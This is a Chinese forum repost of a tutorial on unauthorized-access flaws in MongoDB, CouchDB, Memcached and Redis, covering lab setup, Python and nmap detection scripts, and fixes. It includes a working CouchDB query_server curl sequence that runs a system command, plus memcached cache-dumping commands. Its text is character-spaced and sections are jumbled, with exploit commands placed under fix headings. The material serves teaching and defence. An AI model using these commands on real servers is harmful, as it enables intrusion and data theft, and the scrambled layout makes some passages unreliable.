搜索

[21712] 2021-02-26_从零开始学习各种常见未授权访问漏洞

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2021-02-26_从零开始学习各种常见未授权访问漏洞 从 零 开 始 学 习 各 种 常 见 未 授 权 访 问 漏 洞 L e m o n S e c   2 0 2 1 - 0 2 - 2 6 作 者 ： Y o k a n ， 转 载 于 F r e e b u f 前 言 前 言 未 授 权 访 问 是 系 统 对 用 户 限 制 不 全 ， 或 者 无 限 制 ， 可 以 让 任 意 用 户 或 者 限 制 访 问 用 户 ， 访 问 到 需 要 权 限 认 证 的 地 址 。 未 授 权 访 问 通 常 是 会 泄 露 用 户 信 息 ， 系 统 信 息 。 某 些 服 务 和 系 统 中 ， 未 授 权 访 问 还 可 以 执 行 系 统 命 令 ， 操 作 系 统 文 件 ， 导 致 系 统 的 整 体 安 全 遭 到 破 坏 。 本 片 文 章 主 要 是 在 网 上 现 有 文 章 的 基 础 上 ， 结 合 自 己 的 经 验 ， 进 行 总 结 、 增 补 ， 以 保 证 之 前 没 接 触 过 该 应 用 的 师 傅 不 用 去 检 索 其 他 资 料 也 可 以 看 懂 。 M o n g o D B 未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 简 介 漏 洞 简 介 M o n g o D B 是 一 个 基 于 分 布 式 文 件 存 储 的 数 据 库 ， 由 C + + 语 言 编 写 ， 旨 在 为 W E B 应 用 提 供 可 扩 展 的 高 性 能 数 据 存 储 解 决 方 案 。 M o n g o D B 默 认 端 口 为 2 7 0 1 7 。 开 启 M o n g o D B 服 务 时 不 添 加 任 何 参 数 时 , 默 认 是 没 有 权 限 验 证 的 , 登 录 的 用 户 可 以 通 过 默 认 端 口 无 需 密 码 对 数 据 库 任 意 操 作 （ 增 、 删 、 改 、 查 高 危 动 作 ） 而 且 可 以 远 程 访 问 数 据 库 。 造 成 未 授 权 访 问 的 根 本 原 因 就 在 于 启 动   M o n g o d b   的 时 候 未 设 置   — a u t h   也 很 少 会 有 人 会 给 数 据 库 添 加 上 账 号 密 码 （ 默 认 空 口 令 ） ， 使 用 默 认 空 口 令 这 将 导 致 恶 意 攻 击 者 无 需 进 行 账 号 认 证 就 可 以 登 陆 到 数 据 服 务 器 。 更 多 M o n g o D B 的 介 绍 请 移 步 ： h t t p s : / / w w w . r u n o o b . c o m / m o n g o d b / m o n g o d b - t u t o r i a l . h t m l 漏 洞 复 现 漏 洞 复 现 环 境 搭 建 环 境 搭 建 这 里 使 用 d o c k e r 。 D o c k e r 教 程 ： h t t p s : / / w w w . r u n o o b . c o m / d o c k e r / d o c k e r - t u t o r i a l . h t m l d o c k e r   s e a r c h   m o n g o d b   #   从 D o c k e r   H u b 查 找 镜 像 d o c k e r   p u l l   m o n g o   # 从 镜 像 仓 库 中 拉 取 或 者 更 新 指 定 镜 像
d o c k e r   i m a g e s   m o n g o   # 列 出 本 地 主 机 上 的 m o n g o 镜 像 d o c k e r   r u n   - d   - p   2 7 0 1 7 : 2 7 0 1 7   — n a m e   m o n g o d b   m o n g o   #   创 建 一 个 新 的 容 器 并 运 行 一 个 命 令 d o c k e r   p s   #   显 示 正 在 运 行 的 容 器 漏 洞 检 测 漏 洞 检 测 P y t h o n 检 测 脚 本 ： n m a p 检 测 ： # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ d e f   m o n g o d b ( i p , p o r t ) : t r y : c l i e n t   =   M o n g o C l i e n t ( i p , p o r t ) d b = c l i e n t . l o c a l f l a g   =   d b . c o l l e c t i o n _ n a m e s ( ) i f   f l a g : p r i n t   “ [ + ]   M o n g o d b   l o g i n   f o r   a n o n y m o u s ” e x c e p t   E x c e p t i o n ,   e : p a s s n m a p   - p   2 7 0 1 7   — s c r i p t   m o n g o d b - i n f o
漏 洞 利 用 漏 洞 利 用 这 里 使 用   N o S Q L B o o s t e r 下 载 地 址 ： h t t p s : / / s 3 . m o n g o b o o s t e r . c o m / d o w n l o a d / r e l e a s e s v 5 / n o s q l b o o s t e r 4 m o n g o - 5 . 1 . 1 2 . e x e 修 复 方 法 修 复 方 法 ( 1 )   为   M o n g o D B   添 加 认 证 ①   M o n g o D B   启 动 时 添 加   - a u t h   参 数 。 ②   给   M o n g o D B   添 加 用 户 u s e   a d m i n   #   使 用   a d m i n   库 d b . a d d U s e r “ 用 户 名 ”   “ 密 码 ” #   添 加 用 户 名 、 密 码
( 2 )   禁 用   H T T P   和   R E S T   端 口 M o n g o D B   自 身 带 有 一 个   H T T P   服 务 并 支 持   R E S T   接 口 。 在   2 . 6   版 本 以 后 这 些 接 口 默 认 关 闭 。 M o n g o D B   默 认 会 使 用 默 认 端 口 监 听   W e b   服 务 一 般 不 需 要 通 过   W e b   方 式 进 行 远 程 管 理 建 议 禁 用 。 修 改 配 置 文 件 或 在 启 动 时 选 择   - n o h t t p i n t e r f a c e   参 数   n o h t t p i n t e r f a c e   =   f a l s e 。 ( 3 )   限 制 绑 定   I P 启 动 时 加 入 参 数 — b i n d _ i p   1 2 7 . 0 . 0 . 1 或 在   / e t c / m o n g o d b . c o n f   文 件 中 添 加 以 下 内 容 b i n d _ i p   =   1 2 7 . 0 . 0 . 1 C o u c h D B 未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 简 介 漏 洞 简 介 C o u c h D B 是 由 A p a c h e 软 件 基 金 会 开 发 的 一 个 开 源 数 据 库 。 重 点 是 易 于 使 用 ， 拥 抱 网 络 。 它 是 一 个 N o S Q L 文 档 存 储 数 据 库 。 它 使 用 J S O N ， 存 储 数 据 （ 文 档 ） ， 使 用 j a v a 脚 本 作 为 其 查 询 语 言 来 转 换 文 档 ， 使 用 h t t p 协 议 为 a p i 访 问 文 档 ， 使 用 W e b 浏 览 器 查 询 索 引 。 C o u c h D B 默 认 在 5 9 8 4 端 口 开 放 R e s t f u l 的 A P I 接 口 ， 用 于 数 据 库 的 管 理 功 能 。 其 H T T P   S e r v e r 默 认 开 启 时 没 有 进 行 验 证 ， 而 且 绑 定 在 0 . 0 . 0 . 0 ， 所 有 用 户 均 可 通 过 A P I 访 问 导 致 未 授 权 访 问 。 任 何 连 接 到 服 务 器 端 口 上 的 人 ， 都 可 以 调 用 相 关 A P I 对 服 务 器 上 的 数 据 进 行 任 意 的 增 删 改 查 ， 其 中 通 过 A P I 修 改 l o c a l . i n i 配 置 文 件 ， 可 进 一 步 导 致 执 行 任 意 系 统 命 令 ， 获 取 服 务 器 权 限 ！ 更 多 C o u c h D B 的 介 绍 请 移 步 ： h t t p s : / / w w w . w 3 c s c h o o l . c n / c o u c h d b / 漏 洞 复 现 漏 洞 复 现 环 境 搭 建 环 境 搭 建 这 里 使 用 v u l h u b 中 的 项 目 来 搭 建 复 现 环 境 V u l h u b 漏 洞 环 境 搭 建 教 程 参 考 ： h t t p s : / / w w w . f u j i e a c e . c o m / p e n e t r a t i o n - t e s t / v u l h u b . h t m l 漏 洞 检 测 漏 洞 检 测 n m a p   - p   5 9 8 4   — s c r i p t   c o u c h d b - s t a t s . n s e d b . a u t h “ 用 户 名 ” , “ 密 码 ” #   验 证 是 否 添 加 成 功 返 回   1   说 明 成 功 。
漏 洞 利 用 漏 洞 利 用 任 意 命 令 执 行 ： 1 、 新 增 q u e r y _ s e r v e r 配 置 ， 写 入 要 执 行 的 命 令 ； 2 、 新 建 一 个 临 时 库 和 临 时 表 ， 插 入 一 条 记 录 ； 3 、 调 用 q u e r y _ s e r v e r 处 理 数 据 修 复 方 法 修 复 方 法 c u r l   - X   P U T   ' h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 3 1 : 5 9 8 4 / _ c o n f i g / q u e r y _ s e r v e r s / c m d '   - d   ' " i d   > / t m p / s u c c e s s " ' c u r l   - X   P U T   ' h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 3 1 : 5 9 8 4 / v u l t e s t ' c u r l   - X   P U T   ' h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 3 1 : 5 9 8 4 / v u l t e s t / v u l '   - d   ' { " _ i d " : " 7 7 0 8 9 5 a 9 7 7 2 6 d 5 c a 6 d 7 0 a 2 2 1 7 3 0 0 5 c 7 b " } ' c u r l   - X   P O S T   ' h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 3 1 : 5 9 8 4 / v u l t e s t / _ t e m p _ v i e w ? l i m i t = 1 0 '   - d   ' { " l a n g u a g e " : " c m d " , " m a p " : " " } '   - H   ' C o n t e n t - T y p e : a p p l i c a t i o n / j s o n '
1 、 指 定 C o u c h D B 绑 定 的 I P   （ 需 要 重 启 C o u c h D B 才 能 生 效 ）   在   / e t c / c o u c h d b / l o c a l . i n i   文 件 中 找 到   “ b i n d _ a d d r e s s   = 0 . 0 . 0 . 0 ”   ， 把 0 . 0 . 0   修 改 为   1 2 7 . 0 . 0 . 1   ， 然 后 保 存 。 2 、 设 置 访 问 密 码   （ 需 要 重 启 C o u c h D B 才 能 生 效 ）   在   / e t c / c o u c h d b / l o c a l . i n i   中 找 到 “ [ a d m i n s ] ” 字 段 配 置 密 码 。 M e m c a c h e d 未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 简 介 漏 洞 简 介 M e m c a c h e d 是 一 个 自 由 开 源 的 ， 高 性 能 ， 分 布 式 内 存 对 象 缓 存 系 统 。 M e m c a c h e d 是 一 种 基 于 内 存 的 k e y - v a l u e 存 储 ， 用 来 存 储 小 块 的 任 意 数 据 （ 字 符 串 、 对 象 ） 。 这 些 数 据 可 以 是 数 据 库 调 用 、 A P I 调 用 或 者 是 页 面 渲 染 的 结 果 。 M e m c a c h e d 简 洁 而 强 大 。 它 的 简 洁 设 计 便 于 快 速 开 发 ， 减 轻 开 发 难 度 ， 解 决 了 大 数 据 量 缓 存 的 很 多 问 题 。 它 的 A P I 兼 容 大 部 分 流 行 的 开 发 语 言 。 一 般 的 使 用 目 的 是 ， 通 过 缓 存 数 据 库 查 询 结 果 ， 减 少 数 据 库 访 问 次 数 ， 以 提 高 动 态 W e b 应 用 的 速 度 、 提 高 可 扩 展 性 。 由 于   M e m c a c h e d   的 安 全 设 计 缺 陷 ， 客 户 端 连 接   M e m c a c h e d   服 务 器 后 无 需 认 证 就 可 读 取 、 修 改 服 务 器 缓 存 内 容 。 默 认 监 听 端 口 1 1 2 1 1 更 多 M e m c a c h e d 的 介 绍 请 移 步 ： h t t p s : / / w w w . r u n o o b . c o m / M e m c a c h e d / M e m c a c h e d - t u t o r i a l . h t m l 漏 洞 复 现 漏 洞 复 现 环 境 搭 建 环 境 搭 建 6 4 位 系 统   1 . 4 . 4 版 本 ： h t t p : / / s t a t i c . r u n o o b . c o m / d o w n l o a d / m e m c a c h e d - w i n 6 4 - 1 . 4 . 4 - 1 4 . z i p 解 压 之 后 ， 用 管 理 员 权 限 打 开 命 令 行 ， 执 行 ： 查 看 进 程 服 务 以 及 端 口 m e m c a c h e d . e x e   - d   i n s t a l l   安 装 m e m c a c h e d . e x e   - d   s t a r t   启 动 n e t s t a t   - a n o   |   f i n d s t r   1 1 2 1 1 t a s k l i s t   |   f i n d s t r   M e m c a c h e d
漏 洞 检 测 漏 洞 检 测 P y t h o n 检 测 脚 本 ： N m a p 检 测 ： 漏 洞 利 用 漏 洞 利 用 t e l n e t   1 1 2 1 1   或   n c   - v v   1 1 2 1 1 无 需 用 户 名 密 码 ， 可 以 直 接 连 接 m e m c a c h e   服 务 的 1 1 2 1 1 端 口 s t a t s   # 查 看 m e m c a c h e 服 务 状 态 # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ d e f   M e m c a c h e _ c h e c k ( i p ,   p o r t = 1 1 2 1 1 ,   t i m e o u t = 5 ) :         t r y :                 s o c k e t . s e t d e f a u l t t i m e o u t ( t i m e o u t )                 s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                 s . c o n n e c t ( ( i p ,   i n t ( p o r t ) ) )                 s . s e n d ( " s t a t s r n " )                 r e s u l t   =   s . r e c v ( 1 0 2 4 )                 i f   " S T A T   v e r s i o n "   i n   r e s u l t :                         p r i n t   ' [ + ]   M e m c a c h e   U n a u t h o r i z e d :   '   + i p + ' : ' + s t r ( p o r t )         e x c e p t   E x c e p t i o n ,   e :                 p a s s n m a p   - p   1 1 2 1 1   — s c r i p t   m e m c a c h e d - i n f o
s t a t s   i t e m s   / / 查 看 所 有 i t e m s s t a t s   c a c h e d u m p   3 2   0   / / 获 得 缓 存 k e y 漏 洞 攻 击 D E M O :   h t t p : / / b l o g . n s f o c u s . n e t / m e m c a c h e - u n a u t h o r i z e d - a c c e s s - e x p l o i t / 修 复 方 法 修 复 方 法 1 、 配 置 m e m c a c h e d 监 听 本 地 回 环 地 址 1 2 7 . 0 . 0 . 1 。 2 、 当 m e m c a c h e d 配 置 为 监 听 内 网 I P 或 公 网 I P 时 ， 使 用 主 机 防 火 墙 （ i p t a l b e s 、 f i r e w a l l d 等 ） 和 网 络 防 火 墙 对 m e m c a c h e d 服 务 端 口 进 行 过 滤 。 R e d i s 未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 简 介 漏 洞 简 介 R e d i s 是 一 个 开 源 的 使 用 A N S I   C 语 言 编 写 、 遵 守 B S D 协 议 、 支 持 网 络 、 可 基 于 内 存 亦 可 持 久 化 的 日 志 型 、 K e y - V a l u e 数 据 库 ， 并 提 供 多 种 语 言 的 A P I 。 它 通 常 被 称 为 数 据 结 构 服 务 器 ， 因 为 值 （ v a l u e ） 可 以 是   字 符 串 ( S t r i n g ) ,   哈 希 ( H a s h ) , 列 表 ( l i s t ) ,   s e t s   和   s o r t e d   s e t s 等 类 型 。 R e d i s   的 出 现 很 大 程 度 上 弥 补 了   m e m c a c h e d   这 类   K e y / V a l u e   存 储 的 不 足 在 部 分 场 合 可 以 对 关 系 数 据 库 起 到 很 好 的 补 充 作 用 。 R e d i s   默 认 情 况 下 会 绑 定 在   0 . 0 . 0 . 0 : 6 3 7 9 这 样 会 将   R e d i s   服 务 暴 露 到 公 网 上 。 在 没 有 开 启 认 证 的 情 况 下 会 导 致 任 意 用 户 在 可 以 访 问 目 标 服 务 器 的 情 况 下 未 经 授 权 就 访 问 到   R e d i s   以 及 读 取   R e d i s   的 数 据 。 等 多 R e d i s 的 介 绍 请 移 步 ： h t t p s : / / w w w . r u n o o b . c o m / r e d i s / r e d i s - t u t o r i a l . h t m l 漏 洞 复 现 漏 洞 复 现 环 境 搭 建 环 境 搭 建 L i n u x 源 码 安 装 w g e t   h t t p : / / d o w n l o a d . r e d i s . i o / r e l e a s e s / r e d i s - 6 . 0 . 8 . t a r . g z # 下 载 [ r o o t @ l o c a l   ~ ] #   v i m   / e t c / s y s c o n f i g / m e m c a c h e d O P T I O N S = " - l   1 2 7 . 0 . 0 . 1 "     # 设 置 本 地 为 监 听 [ r o o t @ l o c a l   ~ ] #   / e t c / i n i t . d / m e m c a c h e d   r e s t a r t   # 重 启 服 务
t a r   - z x v f   r e d i s - 6 . 0 . 8 . t a r . g z   # 解 压 c d   r e d i s - 6 . 0 . 8   #   进 入 r e d i s 目 录 m a k e   # 编 译 执 行 完   m a k e   命 令 后 ， r e d i s - 6 . 0 . 8   的   s r c   目 录 下 会 出 现 编 译 后 的   r e d i s   服 务 程 序   r e d i s - s e r v e r ， 还 有 用 于 测 试 的 客 户 端 程 序   r e d i s - c l i 下 面 启 动   r e d i s   服 务 ： 注 意 这 种 方 式 启 动   r e d i s   使 用 的 是 默 认 配 置 。 也 可 以 通 过 启 动 参 数 告 诉   r e d i s   使 用 指 定 配 置 文 件 使 用 下 面 命 令 启 动 。 r e d i s . c o n f   是 一 个 默 认 的 配 置 文 件 。 我 们 可 以 根 据 需 要 使 用 自 己 的 配 置 文 件 。 当 然 现 在 我 们 需 要 每 次 都 进 入 安 装 目 录 才 能 启 动 r e d i s 服 务 。 现 在 再 做 如 下 配 置 ： #   c d   s r c #   . / r e d i s - s e r v e r #   c d   s r c #   . / r e d i s - s e r v e r   . . / r e d i s . c o n f c p   r e d i s - s e r v e r   / u s r / b i n / c p   r e d i s - c l i   / u s r / b i n /             # 将 r e d i s - s e r v e r 和 r e d i s - c l i 拷 贝 到 / u s r / b i n 目 录 下 （ 这 样 启 动 r e d i s - s e r v e r 和 r e d i s - c l i 就 不 用 每 次 都 进 入 安 装 目 录 了 ） c d   . . c p   r e d i s . c o n f   / e t c /           # 将 r e d i s . c o n f 拷 贝 到 / e t c / 目 录 下 r e d i s - s e r v e r   / e t c / r e d i s . c o n f     #   使 用 / e t c / 目 录 下 的 r e d i s . c o n f 文 件 中 的 配 置 启 动 r e d i s 服 务
U b u n t u   a p t   命 令 安 装 在   U b u n t u   系 统 安 装   R e d i s   可 以 使 用 以 下 命 令 : 启 动   R e d i s 查 看   r e d i s   是 否 启 动 ？ 以 上 命 令 将 打 开 以 下 终 端 ： s u d o   a p t   u p d a t e s u d o   a p t   i n s t a l l   r e d i s - s e r v e r r e d i s - s e r v e r r e d i s - c l i
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理